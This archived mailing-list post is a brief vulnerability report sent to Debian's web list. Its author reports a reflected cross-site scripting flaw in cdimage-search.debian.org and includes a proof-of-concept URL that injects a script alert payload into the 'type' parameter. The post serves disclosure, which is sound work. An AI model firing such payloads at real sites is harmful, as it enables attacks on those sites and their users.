2 - Rapport Vulnerability on ur site

mohammed souaidi <[email protected]>
Newsgroups gmane.linux.debian.devel.www
Message-ID <CAP21_AF4dKmoocZAE2iGAD1HCcBA_GeHmwLWcA3CXr=UdR1=Rg@mail.gmail.com>
hi i'm M0hamm33d white hat

dear admin u have Xss

Vulnerable File : ?search_area=release&type=


POST : <script>alert('M0hamm33d_white_hat')</script>


POC + URL : http://cdimage-search.debian.org/?search_area=release&type=
<script>alert('M0hamm33d_white_hat')</script>
&query=M0hamm33d&Search=Search&.cgifields=search_area&.cgifields=type



Cet e-mail a été envoyé depuis un ordinateur protégé par Avast.
www.avast.com
<https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail>
<#DDB4FAA8-2DD7-40BB-A1B8-4E2AA1F9FDF2>
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.